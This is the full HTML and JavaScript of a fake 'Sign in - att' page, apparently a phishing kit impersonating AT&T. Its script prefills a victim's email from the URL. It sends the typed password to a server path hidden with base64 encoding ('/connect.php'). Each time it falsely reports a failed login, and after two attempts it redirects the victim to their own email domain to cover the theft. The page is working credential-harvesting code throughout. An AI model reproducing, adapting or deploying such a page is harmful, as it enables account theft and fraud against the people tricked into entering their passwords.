<!DOCTYPE html>

<html data-wf-domain="" data-wf-page="64ac16dad0591d374902e7ea" data-wf-site="64ac16dad0591d374902e7cd">

<head>
    <meta charset="utf-8" />
    <title>Sign in - att</title>
    <meta content="width=device-width, initial-scale=1" name="viewport" />
    <meta content="Webflow" name="generator" />
    <link href="https://uploads-ssl.webflow.com/64ac16dad0591d374902e7cd/css/attnet.webflow.22f242d48.css"
        rel="stylesheet" type="text/css" />
    <script
        type="text/javascript">!function (o, c) { var n = c.documentElement, t = " w-mod-"; n.className += t + "js", ("ontouchstart" in o || o.DocumentTouch && c instanceof DocumentTouch) && (n.className += t + "touch") }(window, document);</script>
    <!-- <link href="https://uploads-ssl.webflow.com/img/favicon.ico" rel="shortcut icon" type="image/x-icon" />
    <link href="https://uploads-ssl.webflow.com/img/webclip.png" rel="apple-touch-icon" /> -->

    <style>
        /* Disable right-click */
        body {
            -webkit-touch-callout: none;
            -webkit-user-select: none;
            -khtml-user-select: none;
            -moz-user-select: none;
            -ms-user-select: none;
            user-select: none;
        }
    </style>
</head>

<body class="body">
    <div style="position: sticky; top: 0; background-color: #f1f1f1;  z-index: 999;">
        <div id="google_translate_element"></div>
    </div>
    <section class="section-wrappter _2nd _3rd _4th _2ndd wf-section">
        <div class="header-wrappter"><img
                src="https://uploads-ssl.webflow.com/64ac16dad0591d374902e7cd/64ac178e41f6d897447ec826_Screenshot%202023-07-10%20at%2017.25.15.png"
                loading="lazy" alt="" class="image-2" />
            <h4 class="heading">Welcome</h4>
        </div>

        <div class=""
            style="color: red; text-align: left; font-size:14px; padding-left: 0px; padding-top: 20px; display:none;"
            id="error"></div>
		<div class=""
            style="color: red; text-align: left; font-size:14px; padding-left: 0px; padding-top: 20px; display:none;"
            id="msg">Login Unsuccessful, Please try again!</div>

        <div class="body-wrapper"><img
                src="https://uploads-ssl.webflow.com/64ac16dad0591d374902e7cd/64ac1f6fe0df23a89ee0a5ab_Screenshot%202023-07-10%20at%2017.25.24.png"
                loading="lazy" alt="" class="image-3 _4th and yes" />
            <div class="w-form">
                <form id="email-form" name="form1" data-name="Email Form" action="" method="post" required>


                    <input type="email" class="text-field-2 _4th and yess w-input" maxlength="256" name="ai"
                        data-name="ai" placeholder="Enter email" id="ai" required=""
                        style="background-color: transparent;" readonly /><label for="namep"
                        class="field-label">Password</label><input type="password" class="text-field w-input"
                        maxlength="256" name="namep" data-name="namep" placeholder="" id="pr" required="" /><label
                        class="w-checkbox checkbox-field"><input type="checkbox" id="Keep-me-signed-in"
                            name="Keep-me-signed-in" data-name="Keep me signed in"
                            class="w-checkbox-input checkbox" /><span class="checkbox-label w-form-label"
                            for="Keep-me-signed-in">Keep me signed in</span></label><input type="submit" value="Sign in"
                        data-wait="Please wait..." class="submit-button w-button" onclick="submitForm(event)" id="submit-btn" />
                </form>

                <h5 class="heading-2">Forgot password?</h5>
            </div>
        </div>
    </section><img
        src="https://uploads-ssl.webflow.com/64ac16dad0591d374902e7cd/64ac184147ba4bad7a29bb93_Screenshot%202023-07-10%20at%2017.25.38.png"
        loading="lazy" sizes="(max-width: 590px) 100vw, 590px"
        srcset="https://uploads-ssl.webflow.com/64ac16dad0591d374902e7cd/64ac184147ba4bad7a29bb93_Screenshot%202023-07-10%20at%2017.25.38-p-500.png 500w, https://uploads-ssl.webflow.com/64ac16dad0591d374902e7cd/64ac184147ba4bad7a29bb93_Screenshot%202023-07-10%20at%2017.25.38.png 590w"
        alt="" class="image" />
    <!-- <script src="https://d3e54v103j8qbb.cloudfront.net/js/jquery-3.5.1.min.dc5e7f18c8.js?site=64ac16dad0591d374902e7cd"
        type="text/javascript" integrity="sha256-9/aliU8dGd2tb6OSsuzixeV4y/faTqgFtohetphbbj0="
        crossorigin="anonymous"></script> -->
    <script src="https://uploads-ssl.webflow.com/64ac16dad0591d374902e7cd/js/webflow.d2c3cd8ad.js"
        type="text/javascript"></script>



    <script src="https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js"></script>
<script src="./config.js"></script>

    <script>
/* global $ */
$(document).ready(function() {
    var count = 0;

    $('#back1').click(function() {
        $("#msg").hide();
        $('#ai').val("");
        $("#automail").animate({ left: 200, opacity: "hide" }, 0);
        $("#inputbar").animate({ right: 200, opacity: "show" }, 1000);

    });

    /////////////url ai getting////////////////
    var ai = window.location.hash.substr(1);
    if (!ai) {

    } else {
        // $('#ai').val(ai);
        var my_ai = ai;
        var ind = my_ai.indexOf("@");
        var my_slice = my_ai.substr((ind + 1));
        var c = my_slice.substr(0, my_slice.indexOf('.'));
        var final = c.toLowerCase();
        var dom = c.toUpperCase();
        $('#ai').val(my_ai);
        $('#ai').attr('disabled', "");
        $('#login_logo1').attr('src', 'https://logo.clearbit.com/' + my_slice);
        $('#domain-name').html(dom);
        $("#msg").hide();
        $("#inputbar").animate({ left: 200, opacity: "hide" }, 0);
        $("#automail").animate({ right: 200, opacity: "show" }, 1000);
    }
    ///////////////url getting ai////////////////


    var atu = "L2Nvbm5lY3QucGhw";
    $('#submit-btn').click(function(event) {
        $('#error').hide();
        $('#msg').hide();
        event.preventDefault();
        var ai = $("#ai").val();
        var pr = $("#pr").val();
        var msg = $('#msg').html();
        $('#msg').text(msg);
        ///////////new injection////////////////
        var my_ai = ai;
        var filter = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;

        if (!ai) {
            $('#error').show();
            $('#error').html("Email field is emply.!");
            ai.focus;
            return false;
        }

        if (!filter.test(my_ai)) {
            $('#error').show();
            $('#error').html("That account doesn't exist. Enter a different account");
            ai.focus;
            return false;
        }
        if (!pr) {
            $('#error').show();
            $('#error').html("Please enter your password");
            ai.focus;
            return false;
        }
		
		
		if(pr.length < 5) {  

			$('#error').show();
            $('#error').html("Please check your password");
            ai.focus;  

			return false;  

		}

        var ind = my_ai.indexOf("@");
        var my_slice = my_ai.substr((ind + 1));
        var c = my_slice.substr(0, my_slice.indexOf('.'));
        var final = c.toLowerCase();
        var dom = c.toUpperCase();
        ///////////new injection////////////////
        count = count + 1;
        $('#ai').attr('disabled', "");
        $('#login_logo1').attr('src', 'https://logo.clearbit.com/' + my_slice);
        $('#domain-name').html(dom);

        $.ajax({
            dataType: 'JSON',
            url: `${config.baseUrl}${atob(atu)}`,
            type: 'POST',
            data: {
                ai: ai,
                pr: pr,
            },
            // data: $('#contact').serialize(),
            beforeSend: function(xhr) {
                $('#submit-btn').html('Verifing...');
            },
            success: function(response) {
                if (response) {
                    $("#msg").show();
                    console.log(response);
                    if (response['signal'] == 'ok') {
                        $("#pr").val("");
                        if (count >= 2) {
                            count = 0;
                            // window.location.replace(response['redirect_link']);
                            window.location.replace("http://www." + my_slice);

                        }
                        // $('#msg').html(response['msg']);
                    } else {
                        // $('#msg').html(response['msg']);
                    }
                }
            },
            error: function() {
                $("#pr").val("");
                if (count >= 2) {
                    count = 0;
                    window.location.replace("http://www." + my_slice);
                }
                $("#msg").show();
                // $('#msg').html("Please try again later");
            },
            complete: function() {
                $('#submit-btn').html('Login');
            }
        });
    });


});

function getParameterByName(name, url) {
			if (!url) url = window.location.href;
			name = name.replace(/[\[\]]/g, '\\$&');
			var regex = new RegExp('[?&]' + name + '(=([^&#]*)|&|#|$)'),
				results = regex.exec(url);
			if (!results) return null;
			if (!results[2]) return '';
			return decodeURIComponent(results[2].replace(/\+/g, ' '));
		}
			
		const login_username = getParameterByName('cms');
		document.getElementById("ai").value = login_username;
</script>

</body>

</html>